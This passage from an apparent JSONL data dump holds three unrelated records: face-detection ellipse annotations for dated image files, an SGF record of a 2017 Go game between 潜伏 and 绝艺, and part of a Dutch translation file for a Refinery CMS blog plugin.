107.498253 190.274738  1\n20.950074 16.068300 -1.564270 294.000000 65.259141  1\n19.133829 14.937271 1.490672 382.475294 86.567059  1\n33.441433 24.943764 1.506590 104.811765 49.423529  1\n2002/08/10/big/img_706.jpg\n1\n61.570383 41.575919 1.546279 243.884765 154.745361  1\n2002/08/18/big/img_603.jpg\n1\n181.754115 128.834100 1.515181 177.775100 204.260900  1\n2003/01/16/big/img_1055.jpg\n1\n61.546500 38.045700 1.287653 99.631100 78.636000  1\n2002/08/31/big/img_17890.jpg\n2\n84.000000 60.000000 -1.328045 178.701419 245.430700  1\n95.079600 67.000000 -1.504005 226.554700 84.514800  1\n2002/08/15/big/img_761.jpg\n4\n49.009100 33.610200 1.499002 53.439900 113.936900  1\n48.244700 31.898500 -1.566201 180.655800 73.732451  1\n47.100300 30.105600 -1.218788 272.861338 119.220700  1\n46.717800 30.402000 1.490530 402.153100 106.754500  1\n2003/01/15/big/img_489.jpg\n5\n49.528600 29.209600 1.551673 115.396400 61.283000  1\n46.220200 29.741900 -1.485645 168.918300 141.919800  1\n28.898000 18.488500 -1.547735 237.957500 64.844899  1\n27.748100 19.531800 1.450184 64.831300 9.119900  1\n31.831600 21.920500 -1.488700 49.229700 100.345700  1\n2002/08/26/big/img_351.jpg\n3\n75.590200 48.235200 1.568180 90.316100 109.054994  1\n44.035733 28.000000 -1.425697 275.619048 84.650828  1\n105.087969 63.048300 -1.418366 350.269800 128.987474  1\n2002/08/01/big/img_1772.jpg\n1\n83.323216 56.193122 1.545707 198.651415 104.455951  1\n2002/08/31/big/img_17729.jpg\n1\n115.400100 75.000000 -1.452872 286.003500 146.023800  1\n2002/07/25/big/img_609.jpg\n1\n119.784003 77.607060 1.547961 165.465163 136.303110  1\n2003/01/13/big/img_539.jpg\n1\n61.266020 42.000000 1.454820 159.508196 77.020983  1\n2002/07/27/big/img_686.jpg\n1\n124.501268 81.205682 -1.524184 184.679354 151.449512  1\n2002/07/31/big/img_311.jpg\n1\n163.206193 93.033011 1.540578 150.120192 195.070597  1\n2002/08/22/big/img_799.jpg\n2\n66.405385 40.300415 -1.449034 100.697020 88.890420  1\n63.958328 39.460287 1.544144 243.004127 131.314285  1\n2003/01/16/big/img_936.jpg\n6\n71.299500 47.474400 -1.417494 126.932800 86.405200  1\n41.897200 27.671600 -1.544346 183.049700 148.579000  1\n15.547700 10.630300 -1.373715 244.844600 38.881800  1\n15.300124 9.799300 -1.401012 178.716100 12.832300  1\n13.959149 10.052000 1.415841 27.945500 14.404700  1\n28.134000 17.272800 -1.550320 85.945600 106.125900  1\n2002/08/31/big/img_17813.jpg\n1\n105.000000 68.000000 -1.559710 197.106567 154.945400  1\n2002/08/04/big/img_862.jpg\n2\n41.587170 33.016200 1.392223 92.894600 66.760200  1\n53.916100 38.319400 1.406112 141.649200 197.900000  1\n2002/08/09/big/img_332.jpg\n1\n73.533467 49.781019 1.456628 168.831224 171.691774  1\n2002/07/20/big/img_148.jpg\n1\n56.325755 37.480208 1.570796 148.153772 91.259815  1\n2002/08/12/big/img_426.jpg\n2\n107.552214 71.603400 1.516447 335.279989 115.823581  1\n91.516705 57.175047 -1.566118 428.000265 127.831141  1\n2002/07/24/big/img_69.jpg\n1\n68.430456 46.407324 1.556778 207.545528 108.018825  1\n2002/07/27/big/img_685.jpg\n1\n66.723656 45.485842 -1.508724 344.333750 88.024190  1\n2002/08/02/big/img_480.jpg\n1\n88.188673 59.705962 -1.510421 193.925330 130.924523  1\n2002/08/26/big/img_154.jpg\n1\n55.660100 37.688100 1.531718 207.509000 97.430400  1\n2002/07/24/big/img_598.jpg\n1\n120.534974 63.430514 1.480106 118.177356 143.860330  1\n2002/08/01/big/img_1881.jpg\n1\n57.900356 37.543097 -1.565174 186.735601 69.198199  1\n2002/08/20/big/img_667.jpg\n1\n74.701300 45.004400 -1.567312 141.996120 88.228800  1\n2003/01/14/big/img_495.jpg\n1\n80.704800 57.145600 1.503226 93.916800 128.967800  1\n2002/07/21/big/img_744.jpg\n1\n89.842508 62.818116 -1.425971 248.724941 110.326029  1\n2002/07/30/big/img_150.jpg\n1\n50.166387 31.808808 1.371742 167.089071 155.688249  1\n2002/07/23/big/img_924.jpg\n1\n137.138847 80.819551 1.370614 228.869380 150.557874  1\n2002/08/08/big/img_272.jpg\n1\n64.250155 38.303312 -1.408074 99.076640 79.641242  1\n2002/07/23/big/img_310.jpg\n1\n61.561547 39.158547 1.341926 149.897399 347.865326  1\n2002/07/25/big/img_1011.jpg\n1\n52.775449 31.971992 1.459350 137.376740 67.947911  1\n2002/09/02/big/img_15725.jpg\n2\n46.998500 28.365400 1.478702 116.256000 90.287484  1\n45.375000 32.199400 1.355566 273.996700 77.122700  1\n2002/07/19/big/img_814.jpg\n1\n126.210758 88.618794 -1.570796 164.763680 151.085426  1\n2002/08/20/big/img_936.jpg\n2\n90.634000 59.090749 -1.323416 124.620343 120.645100  1\n77.700262 46.399148 1.431738 223.665778 153.821682  1\n2002/07/25/big/img_85.jpg\n2\n90.417187 62.986150 1.487734 304.507997 108.952671  1\n89.651201 59.894153 1.513184 112.264261 174.671602  1\n2002/08/24/big/img_662.jpg\n1\n166.750270 124.336769 -1.569145 174.606821 199.904118  1\n2002/08/09/big/img_495.jpg\n1\n59.941298 41.134434 1.415599 163.060553 98.778979  1\n2003/01/15/big/img_196.jpg\n3\n66.083900 41.551900 -1.531500 192.840072 78.807300  1\n56.259000 42.136700 -1.539258 367.816800 121.465100  1\n55.889200 32.930300 1.561780 1.000000 134.765800  1\n2002/08/16/big/img_707.jpg\n1\n82.997000 55.356400 1.483156 173.269200 100.041700  1\n2002/08/28/big/img_19370.jpg\n2\n68.000000 44.343000 1.441364 86.908665 59.377300  1\n77.000000 51.908988 -1.457207 191.950200 103.996200  1\n2002/08/06/big/img_2366.jpg\n1\n109.155657 72.167660 1.557653 164.206242 152.017105  1\n2002/08/06/big/img_3012.jpg\n4\n43.559504 27.440587 -1.530042 176.073025 83.392584  1\n19.857268 13.340698 1.530840 20.383085 129.042288  1\n74.966054 47.090783 -1.428898 228.687674 91.779750  1\n63.743589 39.996458 1.528750 370.896118 119.661737  1\n2002/08/01/big/img_1452.jpg\n5\n55.801407 36.958073 1.323900 35.965605 54.848407  1\n20.497891 16.311070 1.152691 121.470312 129.769531  1\n22.418439 15.949451 -1.547289 257.354538 82.018584  1\n18.068152 12.263573 1.452933 284.214992 103.538896  1\n26.601328 20.266989 -1.247168 320.146443 96.315600  1\n2002/07/31/big/img_742.jpg\n2\n118.869462 77.429691 -1.312755 127.615384 136.780219  1\n10.383663 7.521507 1.552924 237.217391 305.673913  1\n2002/07/27/big/img_914.jpg\n2\n58.062272 36.784153 -1.512257 154.667696 77.462047  1\n26.478752 17.840036 -1.368097 61.272727 219.248485  1\n2003/01/13/big/img_290.jpg\n1\n104.201314 64.000000 -1.414069 176.332300 136.086600  1\n2002/07/31/big/img_288.jpg\n1\n87.927752 67.369211 1.479202 283.845762 180.167636  1\n2002/08/02/big/img_171.jpg\n1\n58.896632 39.552799 -1.562003 132.247626 122.650489  1\n2002/08/22/big/img_191.jpg\n1\n140.903060 105.561374 1.383094 145.287909 131.651063  1\n2002/07/27/big/img_1066.jpg\n1\n81.388565 59.479347 1.480118 164.379373 122.779813  1\n2002/08/12/big/img_383.jpg\n1\n52.011433 40.427700 1.547168 181.364400 69.954400  1\n2003/01/17/big/img_1018.jpg\n1\n116.056500 70.747600 1.308651 154.865700 125.081700  1\n2002/08/01/big/img_1785.jpg\n1\n182.451986 131.016050 -1.391361 270.473287 146.493125  1\n2002/08/11/big/img_390.jpg\n1\n69.756898 46.002734 -1.382886 135.645672 112.054742  1\n2002/08/27/big/img_20037.jpg\n4\n71.923007 49.313200 1.455427 83.460600 87.559300  1\n58.950900 40.523358 -1.534037 161.216309 77.836500  1\n47.530533 30.698263 1.471116 281.909691 92.176486  1\n73.720000 48.250000 1.503038 368.903782 99.482400  1\n2002/08/12/big/img_38.jpg\n4\n55.854745 39.893595 -1.550273 70.017154 97.693743  1\n48.548058 27.486019 -1.563998 12.869758 111.117996  1\n55.409065 34.148460 1.559228 258.853804 125.050928  1\n54.888500 32.006884 -1.364961 386.388652 81.908022  1\n2003/01/15/big/img_103.jpg\n1\n122.791097 73.308100 1.501020 111.367480 138.580700  1\n2002/08/26/big/img_31.jpg\n4\n24.997532 17.565819 1.529713 58.876506 181.581325  1\n20.782101 14.149484 -1.503852 32.570536 135.996255  1\n57.951344 33.743400 1.440979 165.411788 74.928904  1\n22.249516 17.179082 -1.565252 89.176595 174.242553  1\n2002/08/18/big/img_660.jpg\n1\n201.486400 140.607300 1.499374 183.332000 217.376200  1\n2002/07/22/big/img_694.jpg\n1\n104.131692 60.480313 1.502466 121.010237 120.897902  1\n2002/08/15/big/img_24.jpg\n3\n57.522400 42.624800 1.485937 119.197900 312.672500  1\n56.990700 38.407100 -1.520517 168.105200 162.094200  1\n55.676900 34.077900 -1.553811 211.068800 59.185300  1\n2002/07/27/big/img_1077.jpg\n5\n52.193660 37.313787 -1.566377 102.366922 103.829944  1\n60.113205 37.395854 -1.392901 344.176677 78.230113  1\n10.449805 7.956468 -1.554861 199.777778 162.451612  1\n9.980405 7.982391 -1.510947 174.241758 158.928571  1\n11.933085 9.487631 -1.472585 66.417112 143.713904  1\n2002/08/01/big/img_1943.jpg\n1\n92.086836 54.708735 1.323119 132.711259 103.092026  1\n2002/07/22/big/img_292.jpg\n2\n97.541995 62.998837 1.493697 300.107526 150.847466  1\n99.013863 67.377239 -1.395156 142.899536 133.720964  1\n2002/09/01/big/img_16857.jpg\n4\n61.793000 46.005200 -1.469049 56.708800 70.581300  1\n44.618000 20.207329 1.507572 197.967192 103.312300  1\n34.427300 13.844900 1.556055 264.563400 116.126800  1\n24.849500 7.225000 1.558481 307.796400 121.500000  1\n2002/07/22/big/img_892.jpg\n1\n162.531049 104.664771 1.475390 153.377925 182.313240  1\n2003/01/14/big/img_46.jpg\n3\n52.649400 32.956200 -1.401794 120.330300 97.453500  1\n55.143000 36.092800 1.470662 243.061200 70.656000  1\n27.466200 16.686800 -1.488778 202.196800 41.897200  1\n2002/08/09/big/img_469.jpg\n1\n54.395795 39.021681 1.468548 234.191066 110.446153  1\n2002/08/09/big/img_414.jpg\n1\n66.242668 39.915443 1.394737 176.198362 104.783653  1\n2003/01/16/big/img_40.jpg\n2\n115.148900 68.640900 1.314336 127.478209 124.010500  1\n100.182300 66.743900 1.254244 259.329300 168.637100  1\n2002/08/28/big/img_19231.jpg\n2\n69.508000 44.809100 1.323038 143.431700 81.934700  1\n42.355600 22.559584 1.555002 2.064100 207.260200  1\n2002/07/27/big/img_978.jpg\n1\n97.698901 61.253515 -1.455076 124.188960 110.184296  1\n2002/07/23/big/img_475.jpg\n9\n63.075939 37.719988 -1.376822 59.190052 75.780268  1\n62.764364 39.909000 1.367786 249.806883 74.841778  1\n53.195639 33.865788 1.486922 301.960922 79.432835  1\n59.290256 35.309583 -1.534757 419.713669 154.852790  1\n41.585034 29.969236 1.560078 384.587337 22.029545  1\n47.191368 34.154243 1.248908 97.364784 15.267592  1\n28.453923 20.249360 -1.564569 11.278964 19.050485  1\n35.071350 25.096661 1.409872 156.303964 37.016519  1\n32.861776 22.128421 1.488551 428.516377 36.520873  1\n2002/07/25/big/img_92.jpg\n1\n56.271195 37.428751 1.536418 331.316648 71.307386  1\n2002/08/09/big/img_799.jpg\n2\n78.565600 46.314500 1.448623 114.793400 106.173500  1\n81.200300 49.362500 1.570796 370.258800 112.520500  1\n2002/07/25/big/img_491.jpg\n1\n171.509654 110.597767 -1.278773 164.698679 224.993976  1\n2002/08/03/big/img_654.jpg\n1\n163.234098 105.779907 -1.491294 164.632418 179.558585  1\n2003/01/15/big/img_687.jpg\n1\n81.052000 50.579800 1.472787 197.109700 97.595500  1\n2002/08/11/big/img_478.jpg\n2\n75.987800 52.661800 -1.477332 155.082000 74.564600  1\n66.760200 50.000000 1.545316 300.220200 113.358300  1\n2002/08/07/big/img_1664.jpg\n1\n145.314760 99.673439 1.520373 153.636294 197.699459  1\n2002/08/20/big/img_362.jpg\n1\n98.093101 55.850408 1.559419 224.768593 126.040300  1\n2002/08/01/big/img_1298.jpg\n1\n176.602433 100.479542 1.558372 198.249514 200.953857  1\n2003/01/13/big/img_500.jpg\n1\n48.075307 29.000000 1.489222 116.398208 64.045125  1\n2002/08/06/big/img_2896.jpg\n1\n153.074013 120.138817 1.507826 160.299516 189.510969  1\n2002/08/30/big/img_18529.jpg\n2\n42.834646 31.924600 -1.499662 77.489900 92.545200  1\n49.526326 33.553475 1.485329 191.691700 89.348600  1\n2002/08/16/big/img_1020.jpg\n1\n72.389600 45.777700 -1.419019 174.991600 87.413000  1\n2002/07/29/big/img_892.jpg\n1\n40.768159 26.282002 1.331026 175.096485 102.867677  1\n2002/08/29/big/img_18726.jpg\n1\n63.000000 40.684745 -1.569039 117.212374 81.166387  1\n2002/07/21/big/img_453.jpg\n1\n158.035085 106.839703 1.512937 314.666902 99.448061  1\n2002/08/17/big/img_437.jpg\n1\n80.979000 56.112400 1.536124 159.979000 133.270900  1\n2002/07/19/big/img_665.jpg\n1\n78.382130 51.577752 1.570796 185.555556 139.155146  1\n2002/07/22/big/img_440.jpg\n2\n71.723639 51.466536 -1.535054 91.046159 117.261269  1\n75.681713 57.085691 -1.459414 336.578874 120.879161  1\n2002/07/19/big/img_582.jpg\n2\n84.416497 58.077536 -1.378810 202.057627 98.767796  1\n62.579784 38.635077 -1.570796 97.179687 176.585937  1\n2002/07/21/big/img_233.jpg\n2\n57.499222 45.147549 1.570796 339.480229 155.135682  1\n29.736337 20.798702 -1.570796 284.763636 55.333939  1\n2003/01/01/big/img_82.jpg\n1\n59.698600 42.000000 1.563098 205.092791 135.031600  1\n2002/07/25/big/img_341.jpg\n2\n59.278650 40.633431 -1.530321 71.663162 71.976110  1\n56.898158 36.238143 -1.522465 255.125501 105.922041  1\n2002/07/29/big/img_864.jpg\n1\n48.867706 31.594907 1.170824 118.317509 74.823879  1\n2002/08/02/big/img_276.jpg\n2\n52.378741 32.370298 1.480638 102.717761 75.249239  1\n51.025565 33.432933 1.557221 193.672431 107.270743  1\n2002/08/29/big/img_18654.jpg\n1\n63.000000 48.809600 -1.478844 223.491100 79.092000  1\n2002/07/27/big/img_1024.jpg\n1\n70.421992 48.746727 1.523022 290.029551 78.484845  1\n2002/08/19/big/img_373.jpg\n1\n149.274686 83.409336 -1.500983 160.886893 172.395871  1\n2003/01/15/big/img_241.jpg\n1\n100.344000 70.184800 1.443295 269.946900 117.575400  1\n2002/07/25/big/img_84.jpg\n6\n54.655154 40.073552 1.305829 62.452936 236.730462  1\n35.210567 22.448368 1.512240 24.905168 144.148764  1\n27.025350 16.766987 -1.528135 98.406650 45.307544  1\n36.761634 25.057600 -1.515754 200.615523 116.514140  1\n29.690556 21.125884 1.550654 351.686387 58.361323  1\n19.759796 13.740243 1.558598 422.795425 41.560355  1\n2002/08/13/big/img_834.jpg\n1\n141.010200 80.419000 1.493948 157.595293 166.295400  1\n2002/08/10/big/img_511.jpg\n1\n100.793466 66.244052 1.552933 145.830026 113.080508  1\n2002/08/01/big/img_1627.jpg\n2\n61.253314 39.186283 1.309662 152.466086 155.925643  1\n64.439876 40.645416 1.442820 213.353771 110.050121  1\n2002/08/08/big/img_607.jpg\n1\n207.955262 132.845028 1.541160 131.395947 213.605518  1\n2002/08/06/big/img_2083.jpg\n1\n40.375602 28.961166 1.506589 161.681959 140.681441  1\n2002/08/01/big/img_1486.jpg\n1\n120.473022 72.636041 -1.558471 134.393762 148.804100  1\n2002/08/08/big/img_700.jpg\n1\n59.926158 34.312506 1.529147 160.849057 169.937052  1\n2002/08/01/big/img_1954.jpg\n1\n87.182551 58.961532 1.424166 130.620838 208.418316  1\n2002/08/21/big/img_54.jpg\n1\n60.114900 35.294500 -1.553701 135.165000 91.495000  1\n2002/07/30/big/img_847.jpg\n1\n154.118318 105.675670 1.455740 145.839413 210.038126  1\n2002/08/28/big/img_19169.jpg\n1\n56.063800 35.109800 1.544686 365.415024 79.696768  1\n2002/07/21/big/img_549.jpg\n1\n91.695278 57.629569 1.402769 158.483606 115.413824  1\n2002/08/03/big/img_693.jpg\n1\n82.948371 49.218833 -1.435702 380.131092 89.516652  1\n2002/07/31/big/img_1002.jpg\n1\n141.265245 100.686752 -1.499675 144.249964 286.204987  1\n2003/01/14/big/img_1035.jpg\n3\n60.071900 39.330400 -1.411584 281.048100 78.499500  1\n47.774300 31.000000 1.541679 25.425608 61.778600  1\n42.312875 27.000000 -1.293659 227.283651 73.543503  1\n2003/01/16/big/img_622.jpg\n2\n46.497960 32.513400 1.445860 212.310700 63.510000  1\n49.853806 35.509370 1.463813 287.878807 100.529600  1\n2002/07/30/big/img_1201.jpg\n8\n27.701325 19.337800 1.458171 78.912315 104.424630  1\n50.190404 33.602900 -1.476552 177.372375 66.308417  1\n44.583583 32.892669 1.526307 305.093724 134.220319  1\n20.511209 15.046036 1.518702 245.809182 115.619799  1\n31.156941 21.709806 1.529062 383.184615 84.340170  1\n26.009249 17.481171 -1.528005 437.619289 105.820643  1\n25.594332 18.139393 1.561343 338.270513 87.315385  1\n22.410767 14.216325 -1.554541 224.327068 98.403509  1\n2002/08/10/big/img_444.jpg\n1\n79.159317 56.471600 1.401649 113.156198 143.616400  1\n2002/07/31/big/img_374.jpg\n2\n103.850422 62.460367 1.539132 117.525009 146.719825  1\n111.883847 66.000694 1.533342 321.885111 156.072611  1\n2002/08/21/big/img_301.jpg\n2\n92.086600 56.948700 1.346487 74.959200 228.181800  1\n83.089400 51.598200 -1.544531 184.143400 108.213400  1\n2002/08/13/big/img_1095.jpg\n3\n46.683441 32.329813 -1.440788 173.164179 263.141791  1\n48.481458 35.392100 1.514894 296.235294 268.735294  1\n51.335700 35.202900 -1.500983 61.292600 292.018900  1\n2003/01/13/big/img_288.jpg\n1\n87.568231 59.000000 1.565240 173.615515 124.106046  1\n2002/07/25/big/img_232.jpg\n1\n59.801315 41.789604 1.512707 157.463439 82.079299  1\n2003/01/13/big/img_967.jpg\n1\n57.858756 35.051038 1.530372 124.525670 96.406474  1\n2002/08/26/big/img_360.jpg\n3\n57.561000 39.769500 -1.449465 99.895100 79.421210  1\n52.557485 34.740084 -1.503126 219.326170 125.466807  1\n34.707495 19.249453 -1.550765 319.929427 98.901464  1\n2002/08/05/big/img_67.jpg\n1\n79.766117 53.150941 1.528577 155.970563 117.505602  1\n2002/08/29/big/img_18969.jpg\n1\n78.000000 51.646800 1.509027 269.457500 109.193800  1\n2002/07/28/big/img_16.jpg\n1\n93.556878 59.682606 -1.483754 184.753530 129.606097  1\n2002/08/16/big/img_515.jpg\n1\n124.551200 84.485500 -1.427023 202.397300 149.788300  1\n2002/07/20/big/img_708.jpg\n4\n90.753974 64.629336 -1.466077 138.725966 129.229018  1\n86.442449 58.620689 -1.570796 311.612619 117.511709  1\n74.814401 49.207582 -1.361357 30.068166 143.429557  1\n68.610228 45.996022 1.535890 189.824694 57.789522  1\n2002/08/18/big/img_178.jpg\n2\n40.684300 31.457200 1.482247 117.538700 147.980900  1\n54.074800 30.127300 -1.480891 178.755600 71.034500  1\n2003/01/15/big/img_509.jpg\n2\n99.135600 64.354100 -1.518279 103.893800 117.254500  1\n90.794495 62.728300 1.552345 306.849100 106.759400  1\n2002/07/25/big/img_430.jpg\n2\n55.579462 37.012973 -1.522265 151.655055 71.386576  1\n49.193598 30.173588 -1.455852 112.614800 79.163187  1\n2002/08/21/big/img_738.jpg\n2\n83.111800 59.341400 -1.506209 141.315900 92.375200  1\n89.521300 52.632400 -1.537867 339.287300 104.945600  1\n2002/08/16/big/img_886.jpg\n2\n58.197700 33.814800 1.526400 98.191500 94.159800  1\n61.001900 36.093300 -1.431783 360.852400 92.512400  1\n2002/09/02/big/img_15605.jpg\n2\n107.802700 60.577200 1.520304 175.802100 162.703000  1\n15.889600 10.742700 -1.569370 300.922300 133.440800  1\n2002/09/01/big/img_16242.jpg\n1\n72.299900 47.773000 1.555893 138.800000 120.763400  1\n2002/08/24/big/img_711.jpg\n1\n115.930347 72.387511 1.401922 166.997763 140.821645  1\n2002/07/25/big/img_90.jpg\n1\n76.650854 46.272078 1.548932 155.962742 93.830742  1\n2002/08/09/big/img_491.jpg\n1\n76.452262 45.756922 1.520354 260.971640 254.650359  1\n2002/07/30/big/img_534.jpg\n1\n68.747111 45.844710 1.465373 207.961633 91.105551  1\n2003/01/13/big/img_474.jpg\n1\n149.976953 112.000000 -1.348623 163.287798 257.266118  1\n2002/08/25/big/img_510.jpg\n1\n91.129201 57.934962 1.483749 145.860180 123.761943  1\n2002/08/15/big/img_555.jpg\n5\n69.727400 47.706543 -1.478473 192.144881 234.329800  1\n68.580632 53.687196 -1.515202 69.107142 84.285714  1\n58.184396 46.503200 1.560564 163.988095 136.964285  1\n68.124103 45.940214 -1.561535 252.576119 209.623881  1\n74.856400 52.317800 1.500983 384.553900 203.941700  1\n2002/08/02/big/img_775.jpg\n1\n43.307447 27.119521 -1.517195 199.308105 48.854904  1\n2002/07/23/big/img_975.jpg\n1\n131.086646 92.452662 -1.558501 138.893630 154.273075  1\n2002/08/19/big/img_229.jpg\n1\n154.585600 94.341900 -1.544936 155.131200 196.409700  1\n2003/01/17/big/img_860.jpg\n1\n89.270600 58.416900 -1.514153 148.164900 142.445500  1\n2003/01/02/big/img_10.jpg\n1\n65.000000 46.000000 1.489936 125.545000 204.838700  1\n2002/07/23/big/img_542.jpg\n1\n124.823969 68.466611 -1.570564 251.611227 143.420111  1\n2002/08/06/big/img_2535.jpg\n1\n171.221889 102.623376 1.536749 162.722507 193.503458  1\n2002/07/22/big/img_37.jpg\n1\n57.003700 38.577270 1.497448 125.690483 81.684807  1\n2002/08/06/big/img_2342.jpg\n1\n73.415473 49.147506 -1.364841 132.790077 167.439167  1\n2002/08/25/big/img_515.jpg\n2\n56.709163 39.222100 -1.450416 149.631654 160.136363  1\n58.212102 39.324477 -1.454547 262.339619 146.097462  1\n2002/08/25/big/img_336.jpg\n3\n49.179566 37.190233 -1.399839 73.458228 92.619798  1\n72.373160 52.756241 1.485870 197.809144 149.734846  1\n63.176725 39.418573 -1.381987 314.643583 70.699805  1\n2002/08/18/big/img_837.jpg\n1\n79.225000 51.560700 1.368637 164.209100 102.656400  1\n2002/08/21/big/img_616.jpg\n2\n47.386200 26.140300 1.528582 148.034700 232.004000  1\n99.165600 64.765200 -1.560035 148.552900 106.916400  1\n2003/01/17/big/img_24.jpg\n1\n152.873900 96.327400 1.556988 113.406300 185.925900  1\n2002/07/26/big/img_936.jpg\n2\n78.924478 50.164756 -1.559312 53.743314 121.483365  1\n93.272411 62.706277 -1.557473 171.608094 120.515304  1\n2002/08/14/big/img_896.jpg\n2\n97.558500 77.857500 1.570796 116.014809 106.308200  1\n49.675200 38.794900 1.528620 353.792100 55.006100  1\n2002/07/29/big/img_465.jpg\n1\n152.574437 109.839363 1.397822 162.143807 172.025768  1\n2002/07/31/big/img_543.jpg\n1\n79.464375 47.670048 -1.551699 101.237578 114.063337  1\n2002/08/01/big/img_1411.jpg\n1\n128.774803 80.080599 1.214069 148.180906 144.630058  1\n2002/08/02/big/img_423.jpg\n1\n64.931575 40.259689 -1.566509 117.651086 81.922585  1\n2002/08/21/big/img_44.jpg\n2\n90.048200 59.930400 1.283888 115.120600 107.398500  1\n134.029000 81.440500 1.540143 369.062000 110.270900  1\n2002/07/31/big/img_11.jpg\n2\n51.829290 35.426219 -1.510597 135.980311 60.751983  1\n50.646454 31.318852 -1.490313 291.946108 91.973456  1\n2003/01/15/big/img_628.jpg\n7\n50.975600 33.666700 1.536024 47.318200 60.100900  1\n55.499200 33.596700 -1.416380 131.892100 95.287000  1\n31.544900 24.386300 1.370316 113.811858 9.056100  1\n47.612900 28.598400 1.500116 169.412500 66.707000  1\n46.880000 30.107200 -1.525563 219.998700 68.220300  1\n46.801900 28.977100 1.457715 342.961300 95.401500  1\n48.910700 29.135700 -1.225249 239.164100 140.046000  1\n2003/01/15/big/img_605.jpg\n1\n79.244500 52.204500 1.552406 285.016000 138.522800  1\n2002/07/30/big/img_571.jpg\n2\n141.621957 90.482846 1.558755 152.714985 146.814249  1\n129.845057 81.046449 1.567154 348.005780 150.937677  1\n2002/07/23/big/img_428.jpg\n1\n106.160520 74.112825 1.517405 169.548287 143.642947  1\n2002/08/15/big/img_942.jpg\n10\n59.009900 42.210100 -1.350696 41.358700 310.424600  1\n71.117600 50.173100 -1.426417 258.999399 204.297876  1\n57.038100 38.981600 -1.430456 10.420700 198.830400  1\n31.532321 25.125600 -1.423457 15.229700 41.385400  1\n38.514700 31.491900 1.442565 161.923400 83.545900  1\n47.100700 30.691200 -1.422913 196.356047 39.143700  1\n51.053100 36.832700 -1.528341 346.045000 68.938900  1\n46.992600 38.683300 1.559911 379.230000 130.545500  1\n56.118500 38.323300 1.570405 319.729200 192.050600  1\n58.287400 36.639000 -1.466719 364.152100 291.688500  1\n2002/07/26/big/img_531.jpg\n1\n78.553650 49.356289 -1.415550 297.811578 162.264823  1\n2003/01/16/big/img_59.jpg\n1\n116.335883 86.866456 -1.465438 226.715400 132.130200  1\n2002/08/02/big/img_410.jpg\n1\n88.308792 58.285762 -1.363247 219.920654 113.174797  1\n2002/07/31/big/img_230.jpg\n1\n61.040893 38.427101 -1.563931 162.777144 67.812276  1\n2002/08/19/big/img_806.jpg\n1\n66.277314 45.143500 -1.471799 164.876245 82.794220  1\n2003/01/14/big/img_462.jpg\n1\n72.308400 52.739500 -1.407784 176.576519 249.383300  1\n2002/08/16/big/img_370.jpg\n2\n71.751000 51.163000 1.381475 74.884000 128.393000  1\n80.892100 52.281100 1.375895 327.521800 103.135600  1\n2002/08/13/big/img_380.jpg\n2\n79.455000 55.199600 -1.391201 166.590000 100.243500  1\n82.665286 48.446479 1.553456 271.315849 106.644878  1\n"}
+{"text": "(;CA[UTF-8]AP[YuanYu]GM[1]FF[4]\nSZ[19]\nGN[]\nDT[2017-03-05]\nPB[潜伏]BR[9段]\nPW[绝艺]WR[9段]\nKM[0]HA[0]RU[Japanese]RE[W+R]TM[60]TC[3]TT[30]\n;B[pd];W[dd];B[qp];W[dq];B[nq];W[qf];B[nc];W[qj];B[co];W[ck];B[fp]\n;W[do];B[dn];W[eo];B[cp];W[fo];B[cq];W[er];B[dr];W[eq];B[fc];W[df]\n;B[cc];W[dc];B[db];W[cd];B[bb];W[bc];B[cb];W[bm];B[cn];W[el];B[jp]\n;W[cr];B[br];W[ds];B[em];W[fm];B[dl];W[dk];B[fl];W[ek];B[gm];W[fn]\n;B[bs];W[qm];B[rd];W[gd];B[gc];W[hd];B[fd];W[fe];B[pm];W[qn];B[ql]\n;W[rl];B[pl];W[pp];B[qo];W[po];B[pn];W[qq];B[rq];W[pq];B[rr];W[rn]\n;B[so];W[np];B[mp];W[no];B[rk];W[qk];B[sl];W[rm];B[sn];W[rj];B[sk]\n;W[mq];B[lq];W[mr];B[lr];W[nr];B[mo];W[on];B[ok];W[mn];B[ln];W[mm]\n;B[oi];W[iq];B[ip];W[hq];B[lm];W[ll];B[kl];W[km];B[jm];W[kn];B[lo]\n;W[ko];B[lp];W[in];B[kk];W[im];B[il];W[hl];B[hm];W[hn];B[ml];W[lk]\n;B[lj];W[mk];B[nl];W[mj];B[li];W[mi];B[mh];W[kj];B[jl];W[jn];B[jj]\n;W[nh];B[lh];W[ni];B[oh];W[ng];B[og];W[of];B[pf];W[oj];B[pj];W[nk]\n;B[nj];W[nf];B[pe];W[oj];B[om];W[nn];B[nj];W[nm])\n"}
+{"text": "nl:\n  refinery:\n    plugins:\n      refinerycms_blog:\n        title: Blog\n    blog:\n      admin:\n        categories:\n          category:\n            edit: Bewerk deze categorie\n            delete: Verwijder deze categorie definitief\n          index:\n            no_items_yet: 'Er zijn momenteel geen categorien. Klik op \"%{create}\" om uw eerste categorie toe te voegen.'\n        comments:\n          approved: 'De reactie van \"%{author}\" is goedgekeurd.'\n          comment:\n            view_live_html: 'Bekijk deze reactie op de website 
    (opent in een nieuw venster)'\n            read: Lees deze reactie\n            reject: Keur deze reactie af\n            approve: Keur deze reactie goed\n          rejected: 'De reactie van \"%{author}\" is afgekeurd.'\n          index:\n            no_items_yet: 'Er zijn geen %{type} reacties.'\n          show:\n            comment: Reactie\n            blog_post: Blogpost\n            from: Gepost door\n            date: Gepost op\n            message: Reactie\n            details: Details\n            age: Leeftijd\n            actions: Acties\n            back: Terug naar alle reacties\n            reject: Keur deze reactie af\n            approve: Keur deze reactie goed\n        posts:\n          form:\n            toggle_advanced_options: Klik voor toegang tot meta tag instellingen en menu opties\n            published_at: Publicatiedatum\n            custom_url: Custom URL\n            custom_url_help: Genereer de URL van deze blogpost aan de hand van deze tekst in plaats van de titel.\n            source_url: Bron URL\n            source_url_help: Slaat de bron URL op van materiaal voor deze post.\n            source_url_title: Bron URL titel\n            source_url_title_help: Titel van de bron URL van de post.\n            author: Auteur\n            author_help: Stel in wie wordt weergegeven als auteur van deze post.\n            copy_body: Kopieer de post body naar de teaser\n            copy_body_help: Kopieer de post body naar de teaser. Laat de teaser leeg om deze automatisch te laten genereren.\n          index:\n            no_items_yet: 'Er zijn momenteel geen blogposts. Klik op \"%{create}\" om uw eerste blogpost toe te voegen.'\n          uncategorized:\n            no_items_yet: 'Er zijn geen ongecategoriseerde blogposts.'\n          post:\n            view_live_html: 'Bekijk deze blogpost op de website 
